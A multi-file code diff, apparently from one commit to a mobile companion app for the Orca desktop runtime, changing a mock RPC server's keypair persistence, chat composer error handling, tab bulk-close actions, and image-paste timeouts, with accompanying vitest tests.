if (readControl(TERMINAL_STREAM_MODE_FILE) === 'dead') {
respond(success(request.id, { type: 'end' }))
return true
}
respond(
success(
request.id,
{ type: 'scrollback', serialized: '', cols: 80, rows: 24, seq: 1 },
true
)
)
return true
}
case 'terminal.send': {
const mode = readControl(SEND_MODE_FILE) || 'accept'
console.log(`[mock] terminal.send mode=${mode} text=${JSON.stringify(request.params?.text)}`)
if (mode === 'error') {
respond(error(request.id, 'mobile_input_floor_unavailable', 'Mobile input floor is held'))
return true
}
respond(
success(request.id, {
send: {
handle: TERMINAL_HANDLE,
accepted: mode === 'accept',
bytesWritten: mode === 'accept' ? String(request.params?.text ?? '').length : 0
}
})
)
return true
}
case 'clipboard.startImageUpload':
respond(success(request.id, { uploadId: 'mock-upload-1' }))
return true
case 'clipboard.appendImageUploadChunk':
respond(success(request.id, { ok: true }))
return true
case 'clipboard.commitImageUpload':
case 'clipboard.saveImageAsTempFile':
respond(success(request.id, MOCK_IMAGE_PATH))
return true
case 'clipboard.abortImageUpload':
respond(success(request.id, { ok: true }))
return true
default:
return false
}
}
+8 -7
View File
@@ -11,6 +11,7 @@ import type { TerminalQuickCommand } from '../../src/shared/types'
import { handleMockFilePreviewRequest } from './mock-server-file-preview-data'
import { handleMockGitRequest } from './mock-server-git-state'
import { handleMockAccountRequest } from './mock-server-account-rpc'
import { handleMockNativeChatRequest } from './mock-server-native-chat-scenario'
import {
createMockTerminals,
FAKE_SCROLLBACK,
@@ -118,13 +119,13 @@ export function handleRequest(
send(response)
}
if (handleMockGitRequest(request, respond, success)) {
return
}
if (handleMockFilePreviewRequest(request, respond, success, error)) {
return
}
if (handleMockAccountRequest(request, respond, success, error)) {
// Each returns false for methods it does not own; first owner wins.
if (
handleMockGitRequest(request, respond, success) ||
handleMockFilePreviewRequest(request, respond, success, error) ||
handleMockAccountRequest(request, respond, success, error) ||
handleMockNativeChatRequest(request, respond, success, error, ws)
) {
return
}
+4 -2
View File
@@ -3,8 +3,8 @@
// a running Orca desktop instance. Responds to the same RPC methods the real
// runtime exposes, with realistic fake data. Supports E2EE handshake.
import { WebSocketServer, type WebSocket } from 'ws'
import nacl from 'tweetnacl'
import { deriveSharedKey, e2eeDecrypt, e2eeEncrypt, type E2EEState } from './mock-server-encryption'
import { loadOrCreateMockServerKeyPair } from './mock-server-key-pair'
import {
error,
handleRequest,
@@ -17,7 +17,9 @@ const AUTH_TOKEN = 'mock-device-token'
// Why: generate a persistent server keypair for this mock session.
// The public key is printed at startup so it can be used in pairing QR data.
const serverKeyPair = nacl.box.keyPair()
// MOCK_SERVER_KEY_FILE reuses one across restarts so a paired device (which
// pins the public key) survives a server restart.
const serverKeyPair = loadOrCreateMockServerKeyPair(process.env.MOCK_SERVER_KEY_FILE)
const serverPublicKeyB64 = Buffer.from(serverKeyPair.publicKey).toString('base64')
const wss = new WebSocketServer({ port: PORT })
@@ -85,7 +85,11 @@ async function waitForPairingRuntime({ child, userData, pairingAddress, logSucce
process: child,
env: {
...process.env,
ORCA_USER_DATA_PATH: userData
ORCA_USER_DATA_PATH: userData,
// Why: `orca-dev` derives its own profile and ignores ORCA_USER_DATA_PATH, so
// without this an ORCA_CLI=orca-dev run would address the dev profile instead
// of this disposable runtime. Plain `orca` ignores it.
ORCA_DEV_USER_DATA_PATH: userData
},
stop
})
@@ -1,17 +1,20 @@
import { describe, expect, it } from 'vitest'
import { mobileDiffImageDataUri } from './mobile-diff-image-preview'
const PNG_BASE64 =
'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAFgwJ/l8sm7wAAAABJRU5ErkJggg=='
describe('mobileDiffImageDataUri', () => {
it('renders a modified image diff from the post-change bytes', () => {
expect(
mobileDiffImageDataUri({
kind: 'binary',
originalContent: 'b2xk',
modifiedContent: 'bmV3',
originalContent: PNG_BASE64,
modifiedContent: PNG_BASE64,
isImage: true,
mimeType: 'image/png'
})
).toBe('data:image/png;base64,bmV3')
).toBe(`data:image/png;base64,${PNG_BASE64}`)
})
it('renders an added image diff (no original) from the modified bytes', () => {
@@ -19,26 +22,26 @@ describe('mobileDiffImageDataUri', () => {
mobileDiffImageDataUri({
kind: 'binary',
originalContent: '',
modifiedContent: 'bmV3',
modifiedContent: PNG_BASE64,
isImage: true,
mimeType: 'image/png'
})
).toBe('data:image/png;base64,bmV3')
).toBe(`data:image/png;base64,${PNG_BASE64}`)
})
it('falls back to the original bytes for a proven deletion (modifiedDeleted)', () => {
expect(
mobileDiffImageDataUri({
kind: 'binary',
originalContent: 'b2xk',
originalContent: PNG_BASE64,
originalIsBinary: true,
modifiedContent: '',
modifiedIsBinary: false,
modifiedDeleted: true,
isImage: true,
mimeType: 'image/jpeg'
mimeType: 'image/png'
})
).toBe('data:image/jpeg;base64,b2xk')
).toBe(`data:image/png;base64,${PNG_BASE64}`)
})
// The reviewer's read-failure case: a relay/SSH read returns an empty modified
+16 -5
View File
@@ -2,6 +2,9 @@ import { describe, expect, it } from 'vitest'
import type { RpcResponse } from '../transport/types'
import { resolveMobileFileTabDoc } from './mobile-file-tab-doc'
const PNG_BASE64 =
'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAFgwJ/l8sm7wAAAABJRU5ErkJggg=='
function ok(result: unknown): RpcResponse {
return { id: 'x', ok: true, result, _meta: { runtimeId: 'r' } }
}
@@ -49,8 +52,8 @@ describe('resolveMobileFileTabDoc', () => {
const client = clientOf({
'git.diff': ok({
kind: 'binary',
originalContent: 'b2xk',
modifiedContent: 'bmV3',
originalContent: PNG_BASE64,
modifiedContent: PNG_BASE64,
modifiedIsBinary: true,
isImage: true,
mimeType: 'image/png'
@@ -61,7 +64,11 @@ describe('resolveMobileFileTabDoc', () => {
relativePath: 'm1.png',
diffSource: 'unstaged'
})
expect(doc).toEqual({ status: 'ready', kind: 'image', dataUri: 'data:image/png;base64,bmV3' })
expect(doc).toEqual({
status: 'ready',
kind: 'image',
dataUri: `data:image/png;base64,${PNG_BASE64}`
})
})
it('throws binary_file for an image modify whose bytes are empty (no stale fallback)', async () => {
@@ -89,10 +96,14 @@ describe('resolveMobileFileTabDoc', () => {
it('renders a live image preview via files.readPreview', async () => {
const client = clientOf({
'files.readPreview': ok({ content: 'bmV3', isImage: true, mimeType: 'image/png' })
'files.readPreview': ok({ content: PNG_BASE64, isImage: true, mimeType: 'image/png' })
})
const doc = await resolveMobileFileTabDoc(client, { ...WT, relativePath: 'logo.png' })
expect(doc).toEqual({ status: 'ready', kind: 'image', dataUri: 'data:image/png;base64,bmV3' })
expect(doc).toEqual({
status: 'ready',
kind: 'image',
dataUri: `data:image/png;base64,${PNG_BASE64}`
})
expect(client.calls).toEqual(['files.readPreview'])
})
+5 -3
View File
@@ -4,16 +4,18 @@ import { leaveHostRoute } from './host-route-exit'
function makeRouter() {
return {
replace: vi.fn()
dismissTo: vi.fn()
}
}
describe('leaveHostRoute', () => {
it('returns to home instead of depending on route history', () => {
// Why: dismissTo (not replace) is what makes the chevron animate back like swipe-back, so the
// call shape is the behavior under test, not an implementation detail.
it('dismisses to home instead of depending on route history', () => {
const router = makeRouter()
leaveHostRoute(router)
expect(router.replace).toHaveBeenCalledWith('/')
expect(router.dismissTo).toHaveBeenCalledWith('/')
})
})
+5 -4
View File
@@ -1,9 +1,10 @@
type HostRouteExitRouter = {
replace: (href: '/') => void
dismissTo: (href: '/') => void
}
export function leaveHostRoute(router: HostRouteExitRouter): void {
// Why: direct pairing can open /h/:hostId as the root route, and split-view
// detail history is not the host/home screen the header is meant to exit to.
router.replace('/')
// Why: direct pairing can open /h/:hostId as the root route, and split-view detail history is
// not the host/home screen the header is meant to exit to. dismissTo pops to home when it is on
// the stack, so the chevron animates back like swipe-back, and replaces when it is not.
router.dismissTo('/')
}
+209
View File
@@ -0,0 +1,209 @@
import { spawn } from 'node:child_process'
import { mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { dirname, join } from 'node:path'
import { pathToFileURL } from 'node:url'
import nacl from 'tweetnacl'
import { afterEach, describe, expect, it, vi } from 'vitest'
import { loadOrCreateMockServerKeyPair } from '../scripts/mock-server-key-pair'
const temporaryDirectories: string[] = []
type ConcurrentCreator = {
ready: Promise<void>
calling: Promise<void>
start: () => void
stop: () => void
closed: Promise<void>
result: Promise<string>
}
function keyFilePath(): string {
const directory = mkdtempSync(join(tmpdir(), 'orca-mock-key-'))
temporaryDirectories.push(directory)
return join(directory, 'server-key')
}
function runConcurrentCreator(keyFile: string): ConcurrentCreator {
const moduleUrl = pathToFileURL(
join(import.meta.dirname, '../scripts/mock-server-key-pair.ts')
).href
const script = `
const { loadOrCreateMockServerKeyPair } = await import(process.argv[1])
process.stdout.write('READY\\n')
await new Promise((resolve) => process.stdin.once('data', resolve))
process.stdout.write('CALLING\\n')
const keyPair = loadOrCreateMockServerKeyPair(process.argv[2], { warn() {} })
process.stdout.write('KEY:' + Buffer.from(keyPair.secretKey).toString('base64') + '\\n')
`
const child = spawn(
process.execPath,
['--import', 'tsx', '--input-type=module', '--eval', script, moduleUrl, keyFile],
{ stdio: ['pipe', 'pipe', 'pipe'] }
)
let stdout = ''
let stderr = ''
let resolveReady!: () => void
let rejectReady!: (error: Error) => void
let resolveCalling!: () => void
let rejectCalling!: (error: Error) => void
const ready = new Promise<void>((resolve, reject) => {
resolveReady = resolve
rejectReady = reject
})
const calling = new Promise<void>((resolve, reject) => {
resolveCalling = resolve
rejectCalling = reject
})
let resolveClosed!: () => void
const closed = new Promise<void>((resolve) => {
resolveClosed = resolve
})
const timeout = setTimeout(() => child.kill(), 5_000)
timeout.unref()
child.stdout.on('data', (chunk) => {
stdout += chunk.toString()
if (stdout.includes('READY\n')) {
resolveReady()
}
if (stdout.includes('CALLING\n')) {
resolveCalling()
}
})
child.stderr.on('data', (chunk) => {
stderr += chunk.toString()
})
const result = new Promise<string>((resolve, reject) => {
child.on('error', (error) => {
rejectReady(error)
rejectCalling(error)
reject(error)
})
child.on('close', (code) => {
clearTimeout(timeout)
resolveClosed()
const error = new Error(stderr || `Concurrent key creator exited ${code}`)
if (!stdout.includes('READY\n')) {
rejectReady(error)
}
if (!stdout.includes('CALLING\n')) {
rejectCalling(error)
}
const key = stdout.match(/KEY:([A-Za-z0-9+/=]+)\n/)?.[1]
if (code === 0 && key) {
resolve(key)
} else {
reject(error)
}
})
})
void result.catch(() => {})
return {
ready,
calling,
start: () => {
if (!child.stdin.destroyed && !child.stdin.writableEnded) {
child.stdin.end('go\n')
}
},
stop: () => {
if (child.exitCode === null && child.signalCode === null) {
child.kill()
}
},
closed,
result
}
}
async function cleanupConcurrentCreators(
creators: ConcurrentCreator[],
lockFile: string,
removeLock: boolean
): Promise<void> {
let lockRemovalError: unknown
if (removeLock) {
try {
rmSync(lockFile, { force: true })
} catch (error) {
lockRemovalError = error
}
}
creators.forEach((creator) => {
creator.start()
creator.stop()
})
await Promise.allSettled(creators.flatMap((creator) => [creator.result, creator.closed]))
if (lockRemovalError) {
throw lockRemovalError
}
}
afterEach(() => {
for (const directory of temporaryDirectories.splice(0)) {
rmSync(directory, { recursive: true, force: true })
}
})
describe('mock server key persistence', () => {
it('persists one private key and reuses it after restart', () => {
const keyFile = keyFilePath()
const first = loadOrCreateMockServerKeyPair(keyFile, { warn: vi.fn() })
const second = loadOrCreateMockServerKeyPair(keyFile)
expect(second.secretKey).toEqual(first.secretKey)
expect(readFileSync(keyFile, 'utf-8')).toBe(Buffer.from(first.secretKey).toString('base64'))
expect(readdirSync(dirname(keyFile))).toEqual(['server-key'])
if (process.platform !== 'win32') {
expect(statSync(keyFile).mode & 0o777).toBe(0o600)
}
})
it('re-keys canonical-length content with malformed base64', () => {
const keyFile = keyFilePath()
const encoded = Buffer.from(nacl.box.keyPair().secretKey).toString('base64')
const malformed = `${encoded.slice(0, 4)}!${encoded.slice(4)}`
expect(Buffer.from(malformed, 'base64')).toHaveLength(nacl.box.secretKeyLength)
writeFileSync(keyFile, malformed)
const logger = { warn: vi.fn() }
const loaded = loadOrCreateMockServerKeyPair(keyFile, logger)
expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('invalid base64'))
expect(readFileSync(keyFile, 'utf-8')).toBe(Buffer.from(loaded.secretKey).toString('base64'))
})
it('makes concurrent creators converge on the persisted winner', async () => {
const keyFile = keyFilePath()
const lockFile = `${keyFile}.lock`
writeFileSync(lockFile, '', { flag: 'wx', mode: 0o600 })
const firstCreator = runConcurrentCreator(keyFile)
const secondCreator = runConcurrentCreator(keyFile)
const creators = [firstCreator, secondCreator]
let parentOwnsLock = true
try {
await Promise.all(creators.map((creator) => creator.ready))
creators.forEach((creator) => creator.start())
await Promise.all(creators.map((creator) => creator.calling))
await new Promise((resolve) => setTimeout(resolve, 50))
rmSync(lockFile)
parentOwnsLock = false
const [first, second] = await Promise.all(creators.map((creator) => creator.result))
expect(second).toBe(first)
expect(readFileSync(keyFile, 'utf-8')).toBe(first)
expect(readdirSync(dirname(keyFile))).toEqual(['server-key'])
} finally {
await cleanupConcurrentCreators(creators, lockFile, parentOwnsLock)
}
})
it('does not overwrite an invalid key owned by another creator', () => {
const keyFile = keyFilePath()
writeFileSync(keyFile, 'invalid')
writeFileSync(`${keyFile}.lock`, '', { flag: 'wx', mode: 0o600 })
expect(() => loadOrCreateMockServerKeyPair(keyFile)).toThrow('remained busy')
expect(readFileSync(keyFile, 'utf-8')).toBe('invalid')
})
})
@@ -1,6 +1,6 @@
import { ChevronLeft, ChevronRight, RefreshCw } from 'lucide-react-native'
import type { MobileSessionTab } from '../../app/h/[hostId]/session/mobile-session-route-types'
import { ActionSheetModal } from '../components/ActionSheetModal'
import { ActionSheetModal, type ActionSheetAction } from '../components/ActionSheetModal'
import { getMobileSessionTabTitle } from './mobile-terminal-tab-agent'
type BrowserTab = Extract<MobileSessionTab, { type: 'browser' }>
@@ -13,8 +13,11 @@ export function MobileBrowserTabActionSheet(props: {
onClose: () => void
onNavigate: (target: BrowserTab, method: MobileBrowserNavigationMethod) => void
onCloseTab: (target: BrowserTab) => void
/** Rendered after Close — receives the open tab's id so the session route's
* bulk-close builder can resolve the anchor itself. */
bulkCloseActions?: (anchorTabId: string | undefined, dismiss: () => void) => ActionSheetAction[]
}): React.JSX.Element {
const { target, onClose, onNavigate, onCloseTab } = props
const { target, onClose, onNavigate, onCloseTab, bulkCloseActions } = props
return (
<ActionSheetModal
visible={target != null}
@@ -71,7 +74,8 @@ export function MobileBrowserTabActionSheet(props: {
onCloseTab(current)
}
}
}
},
...(bulkCloseActions?.(target?.id, onClose) ?? [])
]}
onClose={onClose}
/>
@@ -114,6 +114,31 @@ describe('MobileNativeChatComposer', () => {
expect(onSend).not.toHaveBeenCalled()
})
it('keeps the text input editable while the send is locked', async () => {
const restore = suppressRendererWarning()
try {
await act(async () => {
renderer = create(
createElement(MobileNativeChatComposer, {
value: 'half-typed',
onChangeText: vi.fn(),
onSend: vi.fn().mockResolvedValue(true),
disabled: true
})
)
})
} finally {
restore()
}
// Revoking `editable` on a focused field resigns first responder on iOS and
// yanks the keyboard mid-typing (#10681) — the lock may only gate sending.
const input = renderer!.root.find((node) => node.type === 'TextInput') as {
props: { editable?: boolean }
}
expect(input.props.editable).not.toBe(false)
expect(sendButton().props).toMatchObject({ disabled: true })
})
it('renders a removable thumbnail for each pending image attachment', async () => {
const onRemoveAttachment = vi.fn()
const restore = suppressRendererWarning()
@@ -215,7 +215,9 @@ export function MobileNativeChatComposer({
placeholderTextColor={colors.textMuted}
selectionColor={colors.accentBlue}
multiline
editable={!disabled}
// Why: never revoke `editable` — iOS resigns first responder on a focused
// field, so a transient lock would yank the keyboard mid-typing (#10681).
// The lock gates sending; the draft survives and rides the next send.
textAlignVertical="top"
/>
{onMicPress ? (
@@ -14,6 +14,10 @@ type Props = {
onMicPressIn: () => void
onMicPressOut: () => void
inputLockReason: MobileNativeChatInputLockReason | null
/** Latest send failure, rendered inline above the composer. */
sendErrorMessage: string | null
/** Drops that failure once a later send succeeds. */
onClearSendError: () => void
keyboardInset: number
}
@@ -28,6 +32,8 @@ export function MobileNativeChatOverlay({
onMicPressIn,
onMicPressOut,
inputLockReason,
sendErrorMessage,
onClearSendError,
keyboardInset
}: Props): React.JSX.Element | null {
if (!controller.showNativeChat) {
@@ -48,7 +54,7 @@ export function MobileNativeChatOverlay({
onAnswerAsk={controller.handleNativeChatAnswerAsk}
onCancelAsk={controller.handleNativeChatCancelAsk}
question={controller.nativeChatQuestion}
onAnswerQuestion={controller.handleNativeChatSend}
onAnswerQuestion={controller.handleNativeChatQuestionAnswer}
permission={controller.nativeChatPermission}
onRespondPermission={controller.handleNativeChatRespondPermission}
onOpenFile={controller.handleNativeChatOpenFile}
@@ -69,6 +75,8 @@ export function MobileNativeChatOverlay({
onMicPressIn={onMicPressIn}
onMicPressOut={onMicPressOut}
inputLockReason={inputLockReason}
sendErrorMessage={sendErrorMessage}
onClearSendError={onClearSendError}
filePaths={controller.nativeChatFilePaths}
onNeedFiles={controller.loadNativeChatFiles}
keyboardInset={keyboardInset}
@@ -0,0 +1,164 @@
import { createElement } from 'react'
import { act, create, type ReactTestInstance, type ReactTestRenderer } from 'react-test-renderer'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { MobileNativeChatView } from './MobileNativeChatView'
vi.mock('react-native', () => ({
ActivityIndicator: 'ActivityIndicator',
FlatList: 'FlatList',
Pressable: 'Pressable',
StyleSheet: { create: (styles: unknown) => styles, hairlineWidth: 1 },
Text: 'Text',
View: 'View'
}))
vi.mock('react-native-safe-area-context', () => ({
useSafeAreaInsets: () => ({ top: 0, bottom: 0, left: 0, right: 0 })
}))
vi.mock('react-native-gesture-handler', () => {
const chain = {
runOnJS: () => chain,
onStart: () => chain,
onUpdate: () => chain
}
return {
Gesture: { Simultaneous: () => ({}), Native: () => ({}), Pinch: () => chain },
GestureDetector: 'GestureDetector',
GestureHandlerRootView: 'GestureHandlerRootView'
}
})
vi.mock('lucide-react-native', () => ({
ArrowDown: 'ArrowDown',
ChevronsDownUp: 'ChevronsDownUp',
ChevronsUpDown: 'ChevronsUpDown',
Square: 'Square'
}))
vi.mock('./MobileNativeChatMessage', () => ({ MobileNativeChatMessage: 'ChatMessage' }))
vi.mock('./MobileNativeChatAsk', () => ({ MobileNativeChatAsk: 'ChatAsk' }))
vi.mock('./MobileNativeChatPermission', () => ({ MobileNativeChatPermission: 'ChatPermission' }))
vi.mock('./MobileNativeChatQuestion', () => ({ MobileNativeChatQuestion: 'ChatQuestion' }))
vi.mock('./MobileAgentWorkingIndicator', () => ({
MobileAgentWorkingIndicator: 'WorkingIndicator'
}))
// Stand-in composer: exposes the view's `handleSend` through a pressable, which is
// the only composer behaviour these banner tests exercise.
vi.mock('./MobileNativeChatComposer', async () => {
const React = await import('react')
return {
MobileNativeChatComposer: (props: { onSend: (text: string) => Promise<boolean> }) =>
React.createElement('Composer', {
accessibilityLabel: 'Send message',
onPress: () => props.onSend('hi')
})
}
})
type Overrides = {
sendErrorMessage?: string | null
onClearSendError?: () => void
inputLockReason?: 'disconnected' | 'waiting' | null
onSend?: (text: string) => Promise<boolean>
}
function suppressRendererWarning(): () => void {
const original = console.error
const spy = vi.spyOn(console, 'error').mockImplementation((...args) => {
if (typeof args[0] === 'string' && args[0].includes('react-test-renderer is deprecated')) {
return
}
original(...args)
})
return () => spy.mockRestore()
}
describe('MobileNativeChatView send-error banner', () => {
let renderer: ReactTestRenderer | null = null
beforeEach(() => {
globalThis.IS_REACT_ACT_ENVIRONMENT = true
})
afterEach(() => {
act(() => renderer?.unmount())
renderer = null
})
async function render(overrides: Overrides = {}): Promise<void> {
const restore = suppressRendererWarning()
try {
await act(async () => {
renderer = create(
createElement(MobileNativeChatView, {
messages: [],
status: 'ready',
onSend: overrides.onSend ?? vi.fn().mockResolvedValue(true),
pending: [],
composerText: '',
onComposerTextChange: vi.fn(),
...overrides
})
)
})
} finally {
restore()
}
}
function banners(): ReactTestInstance[] {
return renderer!.root.findAll((node) => node.props.accessibilityRole === 'alert')
}
function bannerText(): string {
const [alert, ...rest] = banners()
expect(rest).toHaveLength(0)
return alert
.findAll((node) => node.type === 'Text')
.map((node) => node.props.children)
.join('')
}
async function pressSend(): Promise<void> {
const composer = renderer!.root.find((node) => node.type === 'Composer') as {
props: { onPress: () => Promise<boolean> }
}
await act(async () => {
await composer.props.onPress()
})
}
it('renders the route-reported failure verbatim', async () => {
await render({ sendErrorMessage: 'Permission reply failed' })
expect(banners()).toHaveLength(1)
expect(bannerText()).toContain('Permission reply failed')
})
it('does not duplicate the route banner when the composer rejects', async () => {
const onClearSendError = vi.fn()
await render({
onSend: vi.fn().mockResolvedValue(false),
inputLockReason: 'disconnected',
sendErrorMessage: 'Stop failed',
onClearSendError
})
await pressSend()
expect(onClearSendError).not.toHaveBeenCalled()
expect(banners()).toHaveLength(1)
expect(bannerText()).toContain('Stop failed')
expect(bannerText()).toBe('Stop failed')
})
it('retires the route-owned banner once a send is accepted', async () => {
const onClearSendError = vi.fn()
await render({ sendErrorMessage: 'Stop failed', onClearSendError })
await pressSend()
expect(onClearSendError).toHaveBeenCalledOnce()
})
})
+21 -21
View File
@@ -71,6 +71,13 @@ type Props = {
onMicPressIn?: () => void
onMicPressOut?: () => void
inputLockReason?: MobileNativeChatInputLockReason | null
/** Route-reported send failure (answer cards, permission replies, stop). Shares the
* inline banner with a rejected composer send, so one failure paints once. The
* route routes these here only while this view is mounted, and falls back to its
* toast otherwise — a deferred failure must not land on an unmounted banner. */
sendErrorMessage?: string | null
/** Clears `sendErrorMessage` once a later send is accepted. */
onClearSendError?: () => void
filePaths?: string[]
onNeedFiles?: (query: string) => void
/** A pending agent question/permission detected from live status, shown as a
@@ -118,6 +125,8 @@ export function MobileNativeChatView({
onMicPressIn,
onMicPressOut,
inputLockReason,
sendErrorMessage,
onClearSendError,
filePaths,
onNeedFiles,
ask,
@@ -143,17 +152,6 @@ export function MobileNativeChatView({
const [atBottom, setAtBottom] = useState(true)
const sendScrollTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
const { fontScale, pinchGesture } = useMobileNativeChatPinchGesture()
// Surface a rejected send inline above the composer — a bottom toast gets hidden
// behind the keyboard (the case that prompted this). Auto-dismisses after a beat.
const [sendFailed, setSendFailed] = useState(false)
useEffect(() => {
if (!sendFailed) {
return
}
const t = setTimeout(() => setSendFailed(false), 4000)
return () => clearTimeout(t)
}, [sendFailed])
useEffect(
() => () => {
if (sendScrollTimerRef.current) {
@@ -189,10 +187,11 @@ export function MobileNativeChatView({
async (text: string): Promise<boolean> => {
const accepted = await onSend(text)
if (!accepted) {
setSendFailed(true)
return false
}
setSendFailed(false)
// The route-owned banner outlives this send; a success must retire it too,
// or a stale "Message not sent" sits above the delivered message.
onClearSendError?.()
// Always jump to the newest message when the user sends.
setAtBottom(true)
if (sendScrollTimerRef.current) {
@@ -204,7 +203,7 @@ export function MobileNativeChatView({
}, 60)
return true
},
[onSend]
[onSend, onClearSendError]
)
const onScroll = useCallback(
@@ -397,13 +396,14 @@ export function MobileNativeChatView({
</Pressable>
) : null}
</View>
{sendFailed ? (
<View style={styles.sendError}>
<Text style={styles.sendErrorText}>
{rawLockReason === 'disconnected'
? 'Message not sent — reconnecting…'
: 'Message not sent'}
</Text>
{sendErrorMessage ? (
// This banner is the only channel for a send failure — announce it.
<View
style={styles.sendError}
accessibilityRole="alert"
accessibilityLiveRegion="assertive"
>
<Text style={styles.sendErrorText}>{sendErrorMessage}</Text>
</View>
) : null}
<MobileNativeChatComposer
@@ -0,0 +1,96 @@
import type {
MarkdownDocState,
MobileSessionTab
} from '../../app/h/[hostId]/session/mobile-session-route-types'
import type { ActionSheetAction } from '../components/ActionSheetModal'
import {
BULK_TAB_CLOSE_ACTIONS,
selectBulkCloseTabs,
type BulkTabCloseMode
} from './mobile-tab-close-selection'
/** Session-route state the bulk close orchestration reads and drives. */
type BulkCloseSheetDeps = {
sessionTabsRef: { readonly current: readonly MobileSessionTab[] }
markdownDocs: ReadonlyMap<string, MarkdownDocState>
activeSessionTabIdRef: { readonly current: string | null }
switchSessionTab: (tab: MobileSessionTab) => void
closeSessionTab: (tab: MobileSessionTab) => Promise<void>
}
/**
* Builds the long-press bulk-close entries (Close Others / Left / Right) shared
* by every session tab sheet. Lives outside the session route to keep the
* orchestration out of its max-lines budget; anchors are passed by tab id so
* sheets never need the full tab object.
*/
export function createBulkCloseSheetActions(deps: BulkCloseSheetDeps) {
const selectClosable = (anchorTabId: string, mode: BulkTabCloseMode) =>
selectBulkCloseTabs(deps.sessionTabsRef.current, anchorTabId, mode).filter((candidate) => {
if (candidate.type !== 'markdown') {
return true
}
// Why: the tab list's isDirty can lag behind a phone draft; the local
// markdown doc state is the authority on unsaved edits.
const doc = deps.markdownDocs.get(candidate.id)
return !(doc?.status === 'ready' && doc.isDirty)
})
const bulkClose = async (anchor: MobileSessionTab, mode: BulkTabCloseMode) => {
const targets = selectClosable(anchor.id, mode)
const activeWasTargeted = targets.some(
(candidate) => candidate.id === deps.activeSessionTabIdRef.current
)
// Why: activate the anchor before the per-tab close round-trips so the user
// never sits on a dying tab or an empty pane while the loop runs.
if (activeWasTargeted) {
deps.switchSessionTab(anchor)
}
for (const target of targets) {
await deps.closeSessionTab(target)
}
}
return (anchorTabId: string | null | undefined, dismiss: () => void): ActionSheetAction[] => {
const anchor =
anchorTabId == null
? undefined
: deps.sessionTabsRef.current.find((candidate) => candidate.id === anchorTabId)
if (!anchor) {
return []
}
return BULK_TAB_CLOSE_ACTIONS.filter(
({ mode }) => selectClosable(anchor.id, mode).length > 0
).map(({ mode, label }) => ({
label,
destructive: true,
onPress: () => {
dismiss()
void bulkClose(anchor, mode)
}
}))
}
}
/**
* Builds the destructive Close entry followed by the bulk-close entries, so
* per-tab-type sheets in the session route stay at one spread per call site.
*/
export function createCloseWithBulkActions(
closeSessionTab: (tab: MobileSessionTab) => Promise<void>,
bulkActions: ReturnType<typeof createBulkCloseSheetActions>
) {
return (target: MobileSessionTab | null, dismiss: () => void): ActionSheetAction[] => [
{
label: 'Close',
destructive: true,
onPress: () => {
dismiss()
if (target) {
void closeSessionTab(target)
}
}
},
...bulkActions(target?.id, dismiss)
]
}
@@ -68,4 +68,36 @@ describe('pasteMobileNativeChatImagePaths', () => {
expect(client.calls[1]?.params.text).toBe('\x1b[200~/tmp/a.png\x1b[201~')
expect(client.calls[0]?.params).not.toHaveProperty('client')
})
it('aborts rather than scheduling a write past the shared paste deadline', async () => {
vi.useFakeTimers()
try {
const responses = [sendResult(true), sendResult(true), sendResult(true)]
const calls: { timeoutMs: unknown }[] = []
// Each write burns 10s, so the 15s sequence budget is spent by the third.
const client = {
sendRequest: vi.fn(async (_method: string, _params?: unknown, options?: unknown) => {
calls.push({ timeoutMs: (options as { timeoutMs: number }).timeoutMs })
vi.advanceTimersByTime(10_000)
return responses.shift()!
})
}
const ok = await pasteMobileNativeChatImagePaths({
client,
terminal: 'term-1',
deviceToken: null,
imagePaths: ['/tmp/a.png', '/tmp/b.png']
})
expect(ok).toBe(false)
// Clear + first image only; the second image is never written.
expect(calls).toHaveLength(2)
expect(calls[0]?.timeoutMs).toBe(15_000)
// Positive-but-small remainder still gets the floor.
expect(calls[1]?.timeoutMs).toBe(5_000)
} finally {
vi.useRealTimers()
}
})
})
@@ -1,5 +1,9 @@
import type { RpcClient } from '../transport/rpc-client'
import { buildMobileImagePastePayload } from './mobile-clipboard-image'
import {
MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS,
openMobileNativeChatSendBudget
} from './mobile-native-chat-send'
import { isTerminalSendRpcAccepted } from '../terminal/terminal-send-rpc-response'
// Give the agent TUI a beat to register each bracketed image paste before the
@@ -19,6 +23,9 @@ type PasteImagesArgs = {
readonly terminal: string
readonly deviceToken: string | null
readonly imagePaths: readonly string[]
/** Budget shared with the rest of the user action (the text body that follows, or
* the send this is healing for). Omit to open a fresh one for this paste alone. */
readonly deadline?: number
}
/** Clears the agent's unsubmitted input line, then pastes each uploaded image
@@ -30,22 +37,40 @@ export async function pasteMobileNativeChatImagePaths({
client,
terminal,
deviceToken,
imagePaths
imagePaths,
deadline: sharedDeadline
}: PasteImagesArgs): Promise<boolean> {
const mobileClient: MobileTerminalClient | null = deviceToken
? { id: deviceToken, type: 'mobile' }
: null
const clientField = mobileClient ? { client: mobileClient } : {}
// Why: this is a sequential loop, so a per-write budget multiplies by the number
// of images — the composer stays `sending` the whole time. Budget the sequence
// once and let each write draw from what's left.
const deadline = sharedDeadline ?? openMobileNativeChatSendBudget()
for (const text of [
MOBILE_NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
...imagePaths.map(buildMobileImagePastePayload)
]) {
const response = await client.sendRequest('terminal.send', {
terminal,
text,
enter: false,
...clientField
})
const remainingMs = deadline - Date.now()
// Why: the budget is the whole sequence's — starting a write it can't fund would
// let a multi-image paste overrun before the text body even begins its own send.
// Abort instead; the caller reports the failure and can retry.
if (remainingMs < MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS) {
return false
}
const response = await client.sendRequest(
'terminal.send',
{
terminal,
text,
enter: false,
...clientField
},
// The remaining budget covers the reconnect wait too; a fresh post-connect
// clock here would let one write outlast the whole sequence's ceiling.
{ timeoutMs: remainingMs, budgetSpansConnect: true }
)
if (!isTerminalSendRpcAccepted(response)) {
return false
}
@@ -1,7 +1,18 @@
import { describe, expect, it, vi } from 'vitest'
import { createElement } from 'react'
import { act, create, type ReactTestRenderer } from 'react-test-renderer'
